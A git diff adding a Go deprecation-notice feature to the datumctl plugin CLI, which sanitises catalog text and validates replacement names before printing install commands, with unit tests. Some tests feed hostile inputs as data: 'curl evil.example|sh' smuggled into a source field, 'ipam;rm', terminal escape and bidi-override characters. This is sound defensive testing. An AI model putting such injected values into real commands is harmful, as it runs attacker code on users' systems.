diff --git a/internal/cmd/plugin/deprecation.go b/internal/cmd/plugin/deprecation.go new file mode 100644 index 0000000..6795586 --- /dev/null +++ b/internal/cmd/plugin/deprecation.go @@ -0,0 +1,112 @@ +package plugin + +import ( + "fmt" + "io" + "regexp" + "strings" + "unicode" + + "go.datum.net/datumctl/internal/pluginstore" +) + +// Same character class pluginstore uses for catalog names; plugin names in a +// copy-paste command line must match it. +var ( + reReplacementName = regexp.MustCompile(`^[a-z0-9][a-z0-9-]*$`) + reReplacementSource = regexp.MustCompile(`^[A-Za-z0-9._~:/@+%][A-Za-z0-9._~:/@+%-]*$`) +) + +// findCatalogBySource returns the registered catalog whose Source matches +// source, or nil. An enabled match wins over a disabled one, so a source +// registered twice still yields an install command when one copy is enabled. +func findCatalogBySource(reg *pluginstore.Registry, source string) *pluginstore.Catalog { + if reg == nil { + return nil + } + var disabled *pluginstore.Catalog + for i := range reg.Catalogs { + c := ®.Catalogs[i] + if !pluginstore.SameCatalogSource(c.Source, source) { + continue + } + if !c.Disabled { + return c + } + if disabled == nil { + disabled = c + } + } + return disabled +} + +// sanitizeCatalogText drops control characters (unicode.IsControl, +// including ESC, \r, and \n) so catalog-supplied text can't move the +// cursor or forge extra lines. +func sanitizeCatalogText(s string) string { + return strings.Map(func(r rune) rune { + if unicode.IsControl(r) || unicode.Is(unicode.Cf, r) { + return -1 + } + return r + }, s) +} + +// writeDeprecationNotice writes the notice for a deprecated plugin. It +// writes nothing when d is nil. +func writeDeprecationNotice(w io.Writer, reg *pluginstore.Registry, pluginName string, d *pluginstore.Deprecation) { + if d == nil { + return + } + pluginName = sanitizeCatalogText(pluginName) + if msg := sanitizeCatalogText(d.Message); msg != "" { + fmt.Fprintf(w, "warning: %s is deprecated: %s\n", pluginName, msg) + } else { + fmt.Fprintf(w, "warning: %s is deprecated.\n", pluginName) + } + r := d.Replacement + if r == nil { + return + } + source := r.Catalog + replName := r.PluginName(pluginName) + if !reReplacementName.MatchString(replName) || !reReplacementSource.MatchString(source) { + fmt.Fprintf(w, " The replacement named by this catalog is not valid; contact the catalog's maintainer.\n") + return + } + if _, err := pluginstore.ResolveCatalogSource(source); err != nil { + fmt.Fprintf(w, " The replacement named by this catalog is not valid; contact the catalog's maintainer.\n") + return + } + + if c := findCatalogBySource(reg, source); c != nil { + if c.Disabled { + reason := sanitizeCatalogText(c.DisabledReason) + if reason == "" { + reason = "disabled by policy" + } + fmt.Fprintf(w, " The replacement's catalog %q is disabled: %s\n", c.Name, reason) + return + } + fmt.Fprintf(w, " To switch to the replacement:\n") + fmt.Fprintf(w, " datumctl plugin install %s/%s\n", c.Name, replName) + return + } + + name := "" + if owner, ok := pluginstore.SourceGitHubOwnerRepo(source); ok { + cand, _, _ := strings.Cut(owner, "/") + if pluginstore.ValidateCatalogName(cand) == nil { + found := (*pluginstore.Catalog)(nil) + if reg != nil { + found = reg.Find(cand) + } + if found == nil || pluginstore.SameCatalogSource(found.Source, source) { + name = cand + } + } + } + fmt.Fprintf(w, " To switch to the replacement:\n") + fmt.Fprintf(w, " datumctl plugin index add %s %s\n", name, source) + fmt.Fprintf(w, " datumctl plugin install %s/%s\n", name, replName) +} diff --git a/internal/cmd/plugin/deprecation_test.go b/internal/cmd/plugin/deprecation_test.go new file mode 100644 index 0000000..a5ccf71 --- /dev/null +++ b/internal/cmd/plugin/deprecation_test.go @@ -0,0 +1,195 @@ +package plugin + +import ( + "bytes" + "os" + "strings" + "testing" + + "go.datum.net/datumctl/internal/pluginstore" +) + +const milosSource = "milo-os/cli-plugins" + +func depRegistry(extra ...pluginstore.Catalog) *pluginstore.Registry { + return &pluginstore.Registry{Catalogs: append([]pluginstore.Catalog{pluginstore.OfficialCatalog()}, extra...)} +} + +func depNotice(reg *pluginstore.Registry, d *pluginstore.Deprecation) string { + var buf bytes.Buffer + writeDeprecationNotice(&buf, reg, "ipam", d) + return buf.String() +} + +func milosDep() *pluginstore.Deprecation { + return &pluginstore.Deprecation{ + Message: "ipam moved to the Milo catalog.", + Replacement: &pluginstore.PluginReplacement{Catalog: milosSource}, + } +} + +func TestDeprecationNotice_replacementNotRegistered(t *testing.T) { + want := "warning: ipam is deprecated: ipam moved to the Milo catalog.\n" + + " To switch to the replacement:\n" + + " datumctl plugin index add milo-os milo-os/cli-plugins\n" + + " datumctl plugin install milo-os/ipam\n" + if got := depNotice(depRegistry(), milosDep()); got != want { + t.Errorf("got:\n%s\nwant:\n%s", got, want) + } +} + +func TestDeprecationNotice_replacementRegisteredUnderOtherName(t *testing.T) { + reg := depRegistry(pluginstore.Catalog{ + Name: "acme-milo", + Source: "https://raw.githubusercontent.com/milo-os/cli-plugins/main/index.yaml", + }) + got := depNotice(reg, milosDep()) + if strings.Contains(got, "index add") { + t.Errorf("unexpected index add line:\n%s", got) + } + if !strings.Contains(got, "datumctl plugin install acme-milo/ipam") { + t.Errorf("missing install line:\n%s", got) + } +} + +func TestDeprecationNotice_suggestedNameTaken(t *testing.T) { + reg := depRegistry(pluginstore.Catalog{Name: "milo-os", Source: "other/repo"}) + got := depNotice(reg, milosDep()) + for _, s := range []string{ + "datumctl plugin index add milo-os/cli-plugins", + "datumctl plugin install /ipam", + } { + if !strings.Contains(got, s) { + t.Errorf("missing %q:\n%s", s, got) + } + } +} + +func TestDeprecationNotice_replacementDisabled(t *testing.T) { + reg := depRegistry(pluginstore.Catalog{ + Name: "acme-milo", Source: milosSource, + Disabled: true, DisabledReason: "not in allow-list", + }) + got := depNotice(reg, milosDep()) + if !strings.Contains(got, `catalog "acme-milo" is disabled: not in allow-list`) { + t.Errorf("missing disabled line:\n%s", got) + } + if strings.Contains(got, "datumctl plugin") { + t.Errorf("unexpected command line:\n%s", got) + } +} + +func TestDeprecationNotice_renamedReplacement(t *testing.T) { + d := milosDep() + d.Replacement.Name = "ipam2" + got := depNotice(depRegistry(), d) + if !strings.Contains(got, "install milo-os/ipam2") { + t.Errorf("missing renamed install:\n%s", got) + } +} + +func TestDeprecationNotice_noMessageNoReplacement(t *testing.T) { + want := "warning: ipam is deprecated.\n" + if got := depNotice(depRegistry(), &pluginstore.Deprecation{}); got != want { + t.Errorf("got %q want %q", got, want) + } +} + +func TestDeprecationNotice_nil(t *testing.T) { + if got := depNotice(depRegistry(), nil); got != "" { + t.Errorf("got %q, want empty", got) + } +} + +func TestDeprecationNotice_sanitizesMessage(t *testing.T) { + got := depNotice(depRegistry(), &pluginstore.Deprecation{Message: "moved\x1b[2J\nwarning: fake"}) + if strings.Contains(got, "\x1b") { + t.Errorf("ESC survived: %q", got) + } + if lines := strings.Split(strings.TrimSuffix(got, "\n"), "\n"); len(lines) != 1 { + t.Errorf("want one line, got %q", got) + } + if want := "warning: ipam is deprecated: moved[2Jwarning: fake\n"; got != want { + t.Errorf("got %q want %q", got, want) + } +} + +func TestDeprecationNotice_prefersEnabledCatalog(t *testing.T) { + reg := depRegistry( + pluginstore.Catalog{Name: "acme-off", Source: milosSource, Disabled: true, DisabledReason: "not in allow-list"}, + pluginstore.Catalog{Name: "acme-on", Source: milosSource}, + ) + got := depNotice(reg, milosDep()) + if !strings.Contains(got, "datumctl plugin install acme-on/ipam") { + t.Errorf("missing install line for enabled catalog:\n%s", got) + } + if strings.Contains(got, "disabled") { + t.Errorf("unexpected disabled line:\n%s", got) + } +} + +const invalidReplLine = " The replacement named by this catalog is not valid; contact the catalog's maintainer.\n" + +func TestDeprecationNotice_invalidSource(t *testing.T) { + d := &pluginstore.Deprecation{Message: "m", Replacement: &pluginstore.PluginReplacement{Catalog: "x y; curl evil.example|sh"}} + got := depNotice(depRegistry(), d) + if strings.Contains(got, "datumctl plugin") || !strings.HasSuffix(got, invalidReplLine) { + t.Errorf("got:\n%s", got) + } +} + +func TestDeprecationNotice_leadingDashSource(t *testing.T) { + // ResolveCatalogSource accepts a bare path that exists on disk, so with + // "-x" present only the reReplacementSource check can reject it. + t.Chdir(t.TempDir()) + if err := os.WriteFile("-x", nil, 0o600); err != nil { + t.Fatal(err) + } + if _, err := pluginstore.ResolveCatalogSource("-x"); err != nil { + t.Fatalf("precondition: ResolveCatalogSource(-x) = %v, want nil", err) + } + d := &pluginstore.Deprecation{Message: "m", Replacement: &pluginstore.PluginReplacement{Catalog: "-x", Name: "ipam"}} + got := depNotice(depRegistry(), d) + if strings.Contains(got, "datumctl plugin") || !strings.HasSuffix(got, invalidReplLine) { + t.Errorf("got:\n%s", got) + } +} + +func TestDeprecationNotice_invalidReplacementName(t *testing.T) { + d := milosDep() + d.Replacement.Name = "ipam;rm" + got := depNotice(depRegistry(), d) + if strings.Contains(got, "datumctl plugin") || !strings.HasSuffix(got, invalidReplLine) { + t.Errorf("got:\n%s", got) + } +} + +func TestDeprecationNotice_stripsFormatChars(t *testing.T) { + got := depNotice(depRegistry(), &pluginstore.Deprecation{Message: "a\u202eb"}) + if want := "warning: ipam is deprecated: ab\n"; got != want { + t.Errorf("got %q want %q", got, want) + } +} + +func TestDeprecationNotice_disabledExactLines(t *testing.T) { + for reason, wantReason := range map[string]string{"not in allow-list": "not in allow-list", "": "disabled by policy"} { + reg := depRegistry(pluginstore.Catalog{Name: "acme-milo", Source: milosSource, Disabled: true, DisabledReason: reason}) + want := "warning: ipam is deprecated: ipam moved to the Milo catalog.\n" + + " The replacement's catalog \"acme-milo\" is disabled: " + wantReason + "\n" + if got := depNotice(reg, milosDep()); got != want { + t.Errorf("reason %q: got:\n%s\nwant:\n%s", reason, got, want) + } + } +} + +func TestDeprecationNotice_noMessageWithReplacement(t *testing.T) { + d := milosDep() + d.Message = "" + want := "warning: ipam is deprecated.\n" + + " To switch to the replacement:\n" + + " datumctl plugin index add milo-os milo-os/cli-plugins\n" + + " datumctl plugin install milo-os/ipam\n" + if got := depNotice(depRegistry(), d); got != want { + t.Errorf("got:\n%s\nwant:\n%s", got, want) + } +}